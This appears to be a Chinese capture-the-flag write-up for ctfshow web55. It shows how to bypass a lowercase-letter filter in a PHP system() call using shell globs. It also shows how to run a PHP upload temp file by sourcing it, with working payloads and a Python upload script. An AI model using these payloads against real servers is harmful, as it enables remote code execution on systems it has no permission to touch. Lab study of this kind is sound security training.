[ctfshow web入門] web55

信息收集

這里把小寫字母都過濾了,眾所周知linux是大小寫區分的,沒有小寫字母根本整不出來命令

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

首先想到了與或非繞過,執行未果,想到之前寫道過eval會先執行與或非,然后將字符當命令執行,不知道為什么這機制這么特殊。沒有eval這個方法用不了。
看過上題的參考答案,我們看看能不能在/bin/里面找一個命令來讀flag.php

解題

文件讀取

首先我看到了/bin/7z,很遺憾,雖然/???/7?可以精確指向7z,但是這個工具需要參數,而參數不能用?代替
但確認了,其實目錄也可以用?替代,那么這個方法就有可行性。照這個很快,因為我們需要的是帶有數字的命令,否則很難指向一個唯一的命令,畢竟沒有小寫字母可用
繼續找bin里的命令,a里面沒什么可用的命令,直到找到這個
在這里插入圖片描述

在這里插入圖片描述

遇到一個奇怪的現象,base64無法成功執行,base32卻可以
都拿去試試,反正大膽假設,小心求證
當我在自己的機器上使用which base64時,得到的結果是/usr/bin/base64,但在題目靶機上/usr/bin里沒有
找到一個diff3,本以為能用,但是指向不唯一,用不了。大多???2???的也是用不了,因為難以指向唯一的命令
html2markdown和markdown2在本機上可用,但不能解題

?c=/???/????64 ????.???
?c=/???/????32 ????.???

在這里插入圖片描述
百度一個base64解密,或者用python解密

import base64
print(base64.b64decode("這里寫base64編碼"))

用不了寫這個,這個更通用,打印結果也好看些。上面那個簡單好記

import base64
print(base64.b64decode("這里寫base64編碼".encode('utf-8')).decode('utf-8'))

在這里插入圖片描述

壓縮包

無意間找到一個lz4,想試試有什么用,于是桌面出現了一個壓縮包一樣的東西,雖然解題時用不了,但是為解題打開了新思路
在這里插入圖片描述

使用命令ls / | grep zip
bunzip2,和bzip2符合條件,bunzip2本地使用排除,bzip2將原來的文件替換為一個.bz2壓縮包
p7zip符合條件,壓縮得到一個.7z壓縮包,但是靶機應該沒有,下載不到壓縮包
壓縮包方案失敗,沒有下載到任何壓縮包

參考答案

讓我康康都寫了啥啊,這么大一坨

簡單來說就是:

  • 通過post上傳文件,此時php會在linux里的零時文件夾保存文件,且文件一定是php加上六個隨機的字符,且這6個隨機的字符會出現大寫的情況。例如:/tmp/phpAsDZCc
    一般情況下,Linux文件和文件夾的命名都是小寫字母,所以這里的大寫字母非常特殊

  • shell下支持使用. source來執行shell腳本文件,也就是.sh文件,例如 . code.shsource code.sh(注意:. 的點后面有空格)

  • linux支持glob通配符代替文件名,詳情看這篇博客:Linux雜談之Glob文件名模式匹配
    規則里提到了[],例如[A-Z]匹配A-Z中任意一個,查ASCII碼表,@-[之間包含了所有的大寫字母,所以命令寫作[@-[],這個命令表示匹配一個大寫字母、@[
    將大寫字母匹配符[@-[]替換六個隨機字符中的任意一個

構造payload:

. /???/????????[@-[]

接下來構造一個腳本上傳文件,我這里寫的是python代碼。我不是不會html,而是在學校里學的全還給老師了。而且那個玩意構造起來還挺麻煩的,要查好多資料。其他腳本語言應該也是可以構造類似腳本的,人生苦短,我直接用python就好
當然,都能傳文件了,你傳木馬也行

import requests
# http不要s
url = "http://101c8735-c6ce-4798-afa2-2a3eb20313ec.challenge.ctf.show/" 
payload = ". /???/????????[@-[]"
file = {"file": "tac flag.php"
}post_url = url + "?c=" + payload
response = requests.request("POST", post_url, files=file)
print(response.text)

多試幾次,直到出現最后一個字母是大寫的隨機文件,就能成功讀取到文件了
在這里插入圖片描述

補充知識

PHP 默認的文件上傳處理機制:
PHP 內置了對 HTTP 文件上傳的支持,其行為由 php.ini 的配置決定:
file_uploads = On:默認開啟文件上傳功能。
upload_tmp_dir:指定臨時文件存儲目錄(如 /tmp),上傳的文件會先存至此目錄。
max_file_uploads 和 post_max_size:限制上傳文件數量和大小。

關鍵點:即使開發者未在代碼中編寫文件上傳邏輯,PHP 仍會自動接收上傳的文件,并生成臨時文件。這是 PHP 協議層的內置行為,與業務代碼無關。


web54 ?? 目錄 ?? web56

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/80099.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/80099.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/80099.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2021-11-11 C++泰勒sin(x)以2步進乘方除以階乘加減第N項

緣由c書本題&#xff0c;求解了&#xff0c;求解-編程語言-CSDN問答 int n 10, d 3, z -1; double x 2.5, xx x;while (n){xx (乘方(x, d) / 階乘(d)) * z;d 2, --n, z * -1;}std::cout << xx << std::endl;

湖倉一體化介紹

目錄 一、湖倉一體化的定義與核心概念 二、湖倉一體化出現的背景 (一)數據倉庫的局限性 (二

倉頡編程語言快速入門:從零構建全場景開發能力

在萬物互聯的智能時代,編程語言的演進始終與計算范式的革新緊密相連。華為推出的倉頡編程語言(Cangjie Programming Language)以“原生智能化、天生全場景”為核心理念,為開發者提供了一種兼顧高效開發與極致性能的新選擇。本文將帶你從零開始,快速掌握這門面向未來的語言…

AI教你學VUE——Deepseek版

一、基礎階段&#xff1a;打好Web開發基礎 HTML/CSS基礎 學習HTML標簽語義化、CSS布局&#xff08;Flex/Grid&#xff09;、響應式設計&#xff08;媒體查詢、REM/VW單位&#xff09;。資源推薦&#xff1a; MDN Web文檔&#xff08;免費&#xff09;&#xff1a;HTML | CSS實戰…

DeepSeek智能時空數據分析(八):NL2SQL繪制河流-軌跡緩沖區如何生成

序言&#xff1a;時空數據分析很有用&#xff0c;但是GIS/時空數據庫技術門檻太高 時空數據分析在優化業務運營中至關重要&#xff0c;然而&#xff0c;三大挑戰仍制約其發展&#xff1a;技術門檻高&#xff0c;需融合GIS理論、SQL開發與時空數據庫等多領域知識&#xff1b;空…

推導部分和-圖論+dfs+連通塊

先研究一下&#xff0c;感覺有點像lca里的樹上前綴和&#xff0c;不過樹有多顆&#xff0c;用color區分一下 https://www.luogu.com.cn/problem/P8779 #include<bits/stdc.h> using namespace std; #define N 100011 typedef long long ll; typedef pair<int,int&g…

WPF MVVM入門系列教程(六、ViewModel案例演示)

&#x1f9ed; WPF MVVM入門系列教程 一、MVVM模式介紹二、依賴屬性三、數據綁定四、ViewModel五、命令和用戶輸入六、ViewModel案例演示 在前面的文章中&#xff0c;介紹了ViewModel的基礎概念 本文會使用一些實例來進行ViewModel的演示 一個基礎的數據展示示例 假設我們要…

第2章 算法分析基礎

2-1 算法的時間復雜度分析 2.1.1 輸入規模與基本語句 輸入規模&#xff1a;算法處理數據的規模&#xff0c;通常用 n 表示。 基本語句&#xff1a;執行次數與輸入規模直接相關的關鍵操作。 例2.1 順序查找 int SeqSearch(int A[], int n, int k) { for (int i 0; i < n…

QT高級(1)QTableView自定義委托集合,一個類實現若干委托

自定義委托集合 1同系列文章2 功能3 源碼 1同系列文章 QT中級&#xff08;1&#xff09;QTableView自定義委托&#xff08;一&#xff09;實現QSpinBox、QDoubleSpinBox委托 QT中級&#xff08;2&#xff09;QTableView自定義委托&#xff08;二&#xff09;實現QProgressBar委…

webrtc 視頻直播

webrtc 是一種開源的音視頻通信技術&#xff0c;可以不借助中間媒介建立瀏覽器點對點&#xff08;peer-to-peer&#xff09;連接&#xff0c;實現音視頻以及其他數據的傳輸。webrtc具有平臺兼容性&#xff0c;低延遲與高實時的優點。今天主要記錄一下webrtc的使用記錄&#xff…

游戲引擎學習第261天:切換到靜態幀數組

game_debug.cpp: 將ProfileGraph的尺寸初始化為相對較大的值 今天的討論主要圍繞性能分析器&#xff08;Profiler&#xff09;以及如何改進它的可用性展開。當前性能分析器已經能夠正常工作&#xff0c;但我們希望通過一些改進&#xff0c;使其更易于使用&#xff0c;特別是在…

three.js設置物體輪廓發光和物體發光

設置物體輪廓發光 <script setup> import * as THREE from three; import { OrbitControls } from three/addons/controls/OrbitControls.js; // 導入后期合成 import { EffectComposer } from three/examples/jsm/postprocessing/EffectComposer.js; import { RenderPas…

homebrew安裝配置Python(MAC版)

Mac系統自帶python路徑為: /System/Library/Frameworks/Python.framework/Versionbrew 安裝 Python3 在終端輸入以下命令&#xff1a; brew search python3 # 查看支持安裝的版本 brew install python3就可以輕松easy安裝python了&#xff0c;安裝完成后提示 查看 pyth…

如何建設網站?網站建設簡單步驟有哪些?

新手如何開展網站建設&#xff1f;網站建設包括哪些步驟&#xff1f; 在開展網站建設之前先清楚了解網站建設的流程和步驟&#xff1a;注冊域名、租用虛擬主機/服務器、建站工具的選取、網站建設流程詳細流程共計7步&#xff0c;分別是注冊域名、域名實名制、服務器或虛擬主機、…

當K8S容器沒有bash時高階排查手段

遇到容器沒有bash甚至沒有sh的情況&#xff0c;就像被困在沒有門窗的房間。但真正的K8S運維高手&#xff0c;即使面對這種情況也能游刃有余。 一、無Shell容器三大特征 極簡主義&#xff1a;移除所有非必要組件&#xff08;如/bin/sh&#xff09;安全加固&#xff1a;減少攻擊…

Python案例實戰《手勢識別》

目錄 1、效果圖2、手勢識別關鍵步驟&#xff08;1&#xff09; 導入必要的庫&#xff08;2&#xff09;配置 MediaPipe&#xff08;3&#xff09;啟動攝像頭&#xff08;4&#xff09;設置手指張開判斷的距離閾值&#xff08;5&#xff09;計算手指之間的歐幾里得距離&#xff…

5G賦能農業物聯網:智能化種植的新紀元

5G賦能農業物聯網&#xff1a;智能化種植的新紀元 在農業領域&#xff0c;精準化、智能化已成為現代農業發展的方向。而5G的出現&#xff0c;讓農業物聯網&#xff08;Agri-IoT&#xff09;突破了傳統的瓶頸&#xff0c;真正實現了實時監測、高效數據傳輸、智能化決策&#xf…

VIVADO IP核整理(二)——FFT

目錄 IP 核配置IP 核接口s_axis_config_tdata 配置輸入輸出端口描述 仿真 參考&#xff1a;FFT IP核 詳細介紹 參考&#xff1a;官方文檔介紹 IP 核配置 在 IP Catalog 中搜索&#xff1a;Fast Fourier Transform 按照上圖所示進行配置&#xff0c;下文對配置內容進行詳述。 …

【計算機基礎】任意進制轉換方法詳解

文章目錄 一、通用進制轉換(整數部分)1. R進制轉十進制(整數)2. 十進制轉R進制(整數)二、通用進制轉換(小數部分)1. 十進制小數轉R進制2. R進制小數轉十進制三、二進制與十進制互轉(整數部分)1. 二進制轉十進制(整數)2. 十進制轉二進制(整數)四、二進制與十進制互…

鼠標交互初體驗:點擊屏幕生成彩色氣泡(EGE 庫基礎)

在圖形編程領域&#xff0c;實現與用戶的交互是讓程序變得生動有趣的關鍵環節。對于初學者來說&#xff0c;使用合適的圖形庫能大幅降低開發難度&#xff0c;快速實現創意想法。EGE 庫作為一款簡單易用且功能強大的 C/C 圖形庫&#xff0c;特別適合新手入門圖形交互編程。本文將…